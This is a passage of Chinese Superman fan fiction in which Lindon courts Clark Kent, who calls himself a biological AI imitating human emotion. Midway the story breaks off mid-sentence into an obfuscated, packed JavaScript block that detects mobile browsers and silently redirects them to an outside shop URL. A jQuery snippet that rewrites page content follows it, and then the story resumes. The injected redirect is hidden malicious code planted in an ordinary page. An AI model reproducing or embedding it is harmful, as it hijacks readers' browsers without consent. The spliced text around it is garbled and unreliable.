所有碎片砰然合拢。
那些微妙的不对——情绪背后的虚空，对“相信”这一概念的茫然，也许还有那些过分精确的礼貌反应，从来都不是外星人在笨拙地模仿人类。
而是一台生物AI，披着太阳能驱动的完美皮肤，在执行一套名为“人类情感”的精密程序。
高空的风砂纸一样打磨着夜色，城市的喧嚣被高度稀释成模糊的白噪音。他们悬停在云层之下、霓虹之上，卡在人类世界与星空之间的某个夹缝。
林登打量着超人，从上到下，又从下到上，终于真心实意地哇哦一声。
“多久了？”他问，“你这种症状——抱歉职业病。我是说，你这样多久了？”
“一直。”超人说，“从我降落地球开始。”
“有人发现过么？”林登挑眉，“你的朋友们，家人们……他们当中，有谁知道？”
超人沉默了一会儿。
“我以为有。”他说，“他们都看到了，只是选择相信另一种解释。”
“人之常情。”林登颔首，“这样确实更舒适。你的家人觉得这属于外星生理，你的朋友觉得……你就是这么好。人类的浪漫莫过于是。”
他说着，挥散那只椅子，站直了，伸出手，准备执行一个安慰的拍肩——
手在半空中顿住。
超人今天穿的是一身似乎具备额外功能的制服。
不同于他见过的那几件明亮款式，这件战衣颜色更深，材质更紧，像是为了什么特殊任务做了防护升级。于是，那两块饱满的胸肌被向中线推挤，在胸口的徽标下投出细微的阴影。
万家灯火自下空折射而来，更强化了那堪称傲人的体积。
大。
而且深。
林登的手诚实地改了方向，指尖探进那道缝隙。
……真的很深。
下一秒，另一只手精准地扣住了他的手腕。
力量很大，却也精妙——只到约束的程度，却轻易抹去了逃脱的可能。超人盯过来，表情以肉眼可见的速度变得不怎么高兴：
“你在干什么？”
林登无辜地望回去，指头不屈不挠地在那道缝里左右探了探，仿佛是在进行某种学术性的测量。
“既然你说你信我……那我说我在欣赏氪星的生物工程学成果，你信吗？”
超人的手收紧一分。
“那么，”他的声音也危险的压低，每个单词都被咬得很清楚：“你会对克拉克·肯特这么做吗？”
“或许会，或许不会。”林登恶趣味地笑起来，他撤回手，却径自往前一步。
“毕竟我才搬来。而肯特先生和你不太一样，超人。他要赶死线，要睡觉，还打算和我一起养鸟。你说对吗？”
超人一言不发地看过来，继而，那副雕塑般完美的肩膀放松了，舒展的脊背也微佝。他甚至略微垂下脑袋，蓝眼里那种俯瞰众生的疏离感，被某种略带疲惫的温和取代。
人间之神登出账号。
记者肯特抬起手，做了个推眼镜的动作——惯有的、精确的，却什么都没推到。
就是表情也不怎么高兴。
“再回答我一次，”他的声音换成了克拉克的，“你会对我这么做吗？”
林登再度一怔，继而笑了。
“有趣。所以，超人的‘拟态’，不是模仿人类——而是模仿克拉克·肯特？”
克拉克的肩膀又塌了一点，像是卸下了什么负重，那双蓝眼望过来，神情间浮现出某种接近自嘲的东西。
“是的。‘克拉克’是我最好的作品。”
“那么，哪个是真的？超人？还是克拉克？”
“我——”克拉克顿住，“我不知道。”
“你不知道。”林登重复，“一个不知道自己是谁的存在，却在问我‘会不会对他这么做’。”
他重新上前。一步。两步。直到呼吸交缠。林登抬起手，顺着光影的分界滑下，摸上那张脸。
皮肤的温度比人类高，质感瓷一样完美，却意外地柔软。那张脸微微侧过来，像是本能地靠近，又像是在犹豫该不该接受。
心跳很快。
不像AI，更不像人间之神，只是一个被触碰就会有反应的人。
下方，万家灯火组成了一块巨大而沉默的电路板，每条街道都是一道流光溢彩的焊痕，每一盏灯都在精确地运行。但在这里，在他手心下，这个存在是混乱的、矛盾的、不精确的——
活着的。
“所以，”林登压低声音，像是在认真地商量，“你希望我怎么回答？”
“是尊重那个作为‘克拉克·肯特’的你，对你敬而远之？”
他的指尖顺着克拉克的下颌线滑下：“……还是希望我渴望这个能让我随意触碰的‘超人’，然后……做更多过分的事？”
克拉克的呼吸乱了一瞬，但很快又恢复了平稳。
他也抬起手，却是按向自己的胸口，像是在确认什么，又像是在困惑什么。继而，他略略皱起眉。
“你的问题不对。‘克拉克’和‘超人’并不是分开的。它们只是我面对不同情况时，调用的不同……模式。这是个陷阱。”
“没错。”林登扬起眉，“而你还是会跳。”
克拉克的眉头皱得更深了。
那双蓝眼睛眯起来，所有的迷茫与混乱无声抽空。他的姿态在变——肩膀不再塌，脊背不再弯，连气息都稳了下来。那个温吞的克拉克·肯特正在底层数据中消退，但浮现出的，也并非象征希望的超人。
而是某种更接近原始反应的核心。
“是的。”克拉克说，声音低得几乎像是胸腔里生出的震动。“我确实想知道答案。但在此之前……”
他侧过头，脸颊主动贴上林登触碰的手。这是个充满亲昵意味的动作，那双蓝眼睛却直勾勾地锁过来：
“我也想很知道，”他缓慢地说，“你的语言模式、你不断缩短的物理距离、你问题的诱导性、以及……你至今为之的所有触碰。”
“这些行为模式，按照人类的社交规则，有一个统一的定义。”
他稍稍前倾，神色好奇：“林登·兰尼斯特，你是在追求我吗？”
——牵引。
那种感觉来得突然而清晰。像是深海里的潜水者，忽然察觉那根通向水面的绳索被人轻轻一拽，于是世界在这一瞬间有了重量。
空气的密度，光的质感，连同某些欲拒还迎、若隐若现的通道与门扉，都从“存在”变成了“确实存在”。一切都因为作为锚的个体，开始开放出更多权限——
以及惊喜。
这一天里的又一次，林登真心实意地笑起来。
“犹格作证，”他低声感叹，“在问出这样一个问题后，你觉得答案，还可能有第二个吗？”
他望向克拉克——望着那张贴在自己手心、温度比凡人更高的脸，也侧过头，两人视线平齐。再凑近，近到鼻尖几乎相碰。
“是的。”林登低声宣告，如同投下一个不可撤销的赌注，“我在追求你，克拉克·肯特，超——”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528287|185733||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“卡尔-艾尔。”克拉克打断道，“我的氪星名。”
“嗯哼，我记住了。那你呢，你想让我追到吗？”
克拉克直起了腰。
那个动作很慢，却带着一种不容置疑的意味，仿佛一座沉睡的山脉正在校准自己的地轴。
“我……不确定。”他歪了一下头，表情是纯然的认真，“不过，人类有一种非常古老的求偶模式。雄性会向雌性展示力量——搬动巨石，捕获猛兽，以此证明自己有能力提供一个安全的巢穴。”
他看着林登，目光平静而清晰。
“按照这个逻辑，你应该向我展示你的能力。”
林登眨了眨眼。
“虽然我欣赏你对人类学的研究，虽然美国都成了多元的，但我认为，你的生理和心理都不属于雌性。”
“但你在追求我。”克拉克平静地反驳，“所以模式依然适用。”
林登彻底被逗乐了。
“哦——好的亲爱的，没问题亲爱的。”他摊开手，“你说得都对，我亲爱的。那么，请下达你的试炼吧：你想要什么样的巨石？哪一种危险的猎物？”
这回克拉克沉吟了好一会儿。
“我们当前所处的社会环境——用这套模式里的话来说，我们的‘巢穴’，正面临吸血鬼的威胁。这也是你之前提醒我的。”他严肃地说，“如果你能和我一起解决这场危机，那就是你有能力的证明。”
“很好。我可以让它们灭绝，”林登点头，“也可以让它们迁徙，或者——”
“不，”克拉克摇头，“不是灭绝。即便是吸血鬼，灭绝也不是答案。”
“收到，吾爱。你更偏好驱逐或控制，我记下了。还有其他条目吗？”
“还有鸟。”克拉克说，“我们的鹰还在警局对面的楼上，她占了几只信鸽的窝——鸽子需要安抚，鹰要接回家。”
林登忍不住抬眉：“我是不是还要顺便修好玛姬队长的墙？”
“是的，她是一位值得尊敬的警员。”
林登夸张地叹了口气。
“亲爱的，你可真难追。我要拯救世界、不搞屠杀、喂鸟、修墙……还要兼任你的警局维修工。下一个是什么？瞭望塔需要我修吗？”
“那没有必要。”克拉克立刻否定，“那不是你的问题。”
他顿了顿，视线专注地投过来。那双漂亮的蓝眼里，对待任务的计划感褪去，转为一种更安静、更近似犹疑的温度。
“所以，”他问，“在这些条件都明确之后……你还想追求我吗？”
林登注视他。
看见那张脸上第一次浮现出近乎忐忑的神情，像是在等待一个能让世界偏转的答案。
——拟态，还是真实，这有什么要紧？
“想。”林登由衷地笑了，“当然想。”
克拉克的表情变了。
不是松了口气，也不是喜悦，而是某种更复杂的东西——像是困惑，又像是确认，仿佛系统内部正在生成新的变量。
他盯着林登看了几秒。
风压骤起。
克拉克的嘴唇擦过他的脸颊，轻得像羽毛，又确凿无疑地带着太阳的温度。
“我要去趟正义大厅。”克拉克说，嗓音仍然平稳，只有耳尖染上一点可疑的红。“忙完就回公寓。”
风掠过两人之间，红披风拖出一道微光的弧线，坠入城市的光海。
只有林登还悬在秩序之外，下意识地摸了摸自己的脸。
“坏了。”他喃喃自语，“被钓成翘嘴了。”